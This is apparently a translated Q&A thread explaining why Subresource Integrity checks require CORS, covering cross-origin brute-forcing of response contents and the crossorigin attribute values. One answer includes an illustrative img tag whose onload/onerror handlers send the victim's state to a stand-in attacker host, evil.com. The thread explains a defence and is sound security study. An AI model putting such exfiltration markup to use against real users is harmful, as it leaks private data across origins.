要求 CORS 进行子资源完整性验证可以缓解哪些攻击?

信息安全 http 同源策略 科尔斯 子资源完整性
2021-09-03 03:19:56

有人可以详细说明 W3C子资源完整性规范中本段中提​​到的攻击吗?

为了减轻攻击者通过完整性检查通过暴力破解值来读取跨域数据的能力,只有当它们是同源的或者是通过跨域授予加载源的显式访问的结果时,响应才有资格进行此类检查资源共享 [CORS]。

对我来说,这听起来很荒谬,因为:

  1. 我对“通过蛮力值跨域读取数据”的阅读表明这是对服务器的攻击。
  2. 非浏览器用户代理始终可以从没有 CORS 的服务器获取。
  3. 当未经验证的跨域 CSS 和 JavaScript 检索早于 CORS 并且必须支持旧版兼容性时,我看不出添加哈希验证如何带来 CORS 缓解的新威胁。

在更实际的层面上,我问是因为:

  1. 感觉好像通过 SRI Origin+IP 进行的用户跟踪有可能成为一种部分解决方法,以提高抑制(站点)或伪造(浏览器)Referer标头以防止引用者+IP 跟踪的能力(这是我总是自行托管我的子资源,以避免虚伪)。
  2. 我想知道如果我要使用基于使用 pre-CORS 标头集请求 CSS 或 JavaScript 资源的更通用的解决方案来补充我现有的浏览器扩展(如Decentraleyes)(与 Referer 配对),是否会增加我的安全风险锻造),但无论如何都会强制执行提供的哈希。

编辑:虽然@Anders 回答了将它与凭证请求(即带有会话cookie 或类似的请求)一起使用的理由,但这并不能解释为什么对andcrossorigin="anonymous"进行完整性检查是可以接受的,但是完全省略该属性是不行的。<script><link rel="stylesheet">crossorigin

如果攻击涉及使用onloadonerror提取基于子资源是否与哈希匹配的信息位,那么通过在无 SRI 的子资源上crossorigin="anonymous"设置onload检查他们是否修改了 DOM 或其渲染。

2个回答

攻击

我认为他们试图防御的攻击如下。

想象一下为登录的用户santaclause.com提供图像。santaclause.com/naughty_or_nice.png如果登录的用户很好,图像是一个绿色的复选标记,如果他们很顽皮,图像是一个红色的 X。马洛里想知道爱丽丝是不是很好。因此,evil.com他在页面上设置以下内容并将链接发送给 Alice,Alice 会点击它。

<img src="santaclause.com/naughty_or_nice.png"
     integrity="sha256-{hash of nice image}"
     onload="document.location='http://evil.com?log=nice';"
     onerror="document.location='http://evil.com?log=naughty';"
>

当 Alice 查看该页面时,浏览器会将她的会话 cookie 发送到santaclause.com,如果她表现得很好,它将返回漂亮的图像。onload 事件将触发,Mallory 记录她一直很好evil.com另一方面,如果她顽皮,完整性检查将失败,因此马洛里知道爱丽丝顽皮。

由于规范,此攻击将失败。由于santaclause.com没有“通过 CORS 显式授予对加载源的访问权限”,浏览器不会进行完整性检查,即使哈希错误也会加载图像,因此总是触发onload事件而不是onerror事件。

如果规范中没有此详细信息,攻击者将能够使用受害者的凭据发出跨源请求,并获得“这是响应吗?”之类的问题的答案。虽然没有仅仅读取响应那么糟糕,但它仍然允许攻击者暴力破解来自足够小的可能值集的响应。

为什么这不是荒谬的

我对“通过蛮力值跨域读取数据”的阅读表明这是对服务器的攻击。

我想说上面是对用户的攻击,而不是对服务器的攻击(即使服务器显然也参与其中)。

非浏览器用户代理始终可以从没有 CORS 的服务器获取。

是的,但是 Mallory 是如何欺骗 Alice 在非浏览器用户代理中跟踪链接的呢?

当未经验证的跨域 CSS 和 JavaScript 检索早于 CORS 并且必须支持旧版兼容性时,我看不出添加哈希验证如何带来 CORS 缓解的新威胁。

如果你在没有 CSRF 保护的情况下将敏感信息嵌入到 JS 或 CSS 中,你将把它暴露给跨源攻击,是的。规格从未假装防止这种情况发生。

但是,他们声称可以防止图像或 JSON 中的相同,因此即使添加了新功能,也必须尝试继续这样做。

[...] 这不能解释为什么 crossorigin="anonymous" 可以接受对 and 进行完整性检查,但是完全省略 crossorigin 属性是不行的。

正如 SilverlightFox 在他的回答中指出的那样,即使是匿名请求也可能返回敏感信息,例如,如果使用 IP 将不同的内容返回给不同的用户。因此,即使站点不包含任何身份验证标头,也不应允许站点读取跨域请求的结果。

[...]然后,通过在无 SRI 的子资源上crossorigin="anonymous"设置一个,然后检查它们是否修改了 DOM 或其渲染,可以对 CSS 和 JavaScript 子资源进行一类攻击。onload

是的,站点可以推断有关样式表和 JavaScript 的跨源请求内容的信息(顺便说一下,这就是 JSONP 起作用的原因)。这是众所周知的,并且规格从未假装防止它发生。

如果将其扩展为允许对任何跨源请求进行完整性检查,则可以将该功能扩展为适用于各种资源——JSON、XML、图像等,而不仅仅是 JS 和 CSS。

为什么?因为要推断出它需要实际执行的 JS 文件内容的任何信息,所以它需要是 JS。如果您在脚本标记中包含例如 XML 文件,您得到的只是语法错误。但是您可以轻松地包含一个带有脚本标记的 XML 文件,为其添加完整性属性,然后通过检查它是否加载来了解其内容。

要求 CORS 进行子资源完整性验证可以缓解哪些攻击?

同源策略是通过隔离用户数据实现 Web 客户端安全模型的基石。如您所知,CORS 放宽了默认的 SOP 限制。在不放松这些限制的情况下,源站无权检查响应,包括通过integrity属性检查资源的完整性。

要求 CORS 可以缓解可能暴露用户数据隐私的攻击。例如,假设一个 JavaScript 文件包含登录用户的电子邮件地址:

email = "foo@example.com";

如果没有明确允许检查完整性的外部站点,则意味着Internet 上的任何站点都可以通过散列算法(以及 JavaScript 文件的其余部分)运行电子邮件地址列表来暴力破解电子邮件地址,以查看何时获取一场比赛。这就是规范中暴力破解的意思。

关于你的其他观点:

非浏览器用户代理始终可以从没有 CORS 的服务器获取。

客户端攻击总是需要受害者浏览器发挥作用,因为它将在凭证请求中提供 cookie,或者如果使用另一种类型的身份验证机制(例如 IP),那么它将在非凭证中提供受害者的 IP要求。攻击者不是选择用户代理的人,因此将非浏览器纳入等式是一个有争议的问题。

当未经验证的跨域 CSS 和 JavaScript 检索早于 CORS 并且必须支持旧版兼容性时,我看不出添加哈希验证如何带来 CORS 缓解的新威胁。

这是不正确的。没有任何遗留系统允许通过代码读取外部资源。是的,浏览器本身可以使用顶级站点外部的 JS 和 CSS,但这不被视为 CORS 请求,因为来自源的脚本不会读取响应 - 它只是浏览器本身用于呈现和执行任何脚本。

email = "foo@example.com";在我上面的示例中,即使在子资源完整性出现之前,请求源站点也无法读取文字代码。如果email变量在一个闭包中,即使在源站点上的 JavaScript 也根本无法查询。

编辑:虽然@Anders 回答了将它与凭证请求(即带有会话 cookie 或类似的请求)一起使用的理由,但这并不能解释为什么 crossorigin="anonymous" 可以接受对 and 进行完整性检查,但省略了 crossorigin 属性完全不是。

请记住,有两个跨域可能值:

  • crossorigin="anonymous"
  • crossorigin="use-credentials"

由于外部原点需要 CORS,因此在当前原点中指定预期的 CORS 是有意义的。

如果攻击涉及使用 onload 或 onerror 根据子资源是否匹配哈希来提取信息,那么使用 crossorigin="anonymous" 进行攻击是 CSS 和 JavaScript 子资源已经可以通过设置 onload 进行的一类攻击在无 SRI 的子资源上,然后检查他们是否修改了 DOM 或其渲染。

是的,无论是否使用 CORS,您都可以检查外部 CSS 或 JavaScript 的效果,因为该资源适用于您当前站点的上下文。但是,您无法从跨域请求中查看实际的源代码。启用 CORS 允许这样做,因为 CSS 或 JavaScript 资源也可以通过 XHR 请求,而不是通过<script><link>标记。

一种不需要凭据的情况是,如果您想象一个不使用 cookie、身份验证标头或证书的身份验证模型。远程 IP 地址就是一个很好的例子。

如果安德斯naughty_or_nice.png根据 IP 地址而不是登录凭据返回用户是好是坏,那么就可以了,如果输出正确crossorigin="anonymous",可以检查资源的完整性。santaclause.comAccess-Control-Allow-Origin

否则,它需要crossorigin="use-credentials"并且santaclause.com必须Access-Control-Allow-Credentials: true与 ACAO 标头一样输出。

在第一个示例中,远程站点仍然可以控制安全性。它仍然可以检查Origin请求标头并允许或拒绝带有 CORS 标头的请求。其次,它只需要照常应用其授权规则。

总而言之,crossorigin需要标签才能发送正确的 CORS 标头 ( Origin),如果外部站点允许(通过 CORS),则该integrity标签允许浏览器代表原始站点检查响应。

那是:

  • crossorigin = 我正在发送,我希望 ACAO 或 ACAO 和 ACAC 做出回应。
  • integrity = 我正在接收,如果正确返回了上述标头,我将检查来自外部 Origin 的哈希。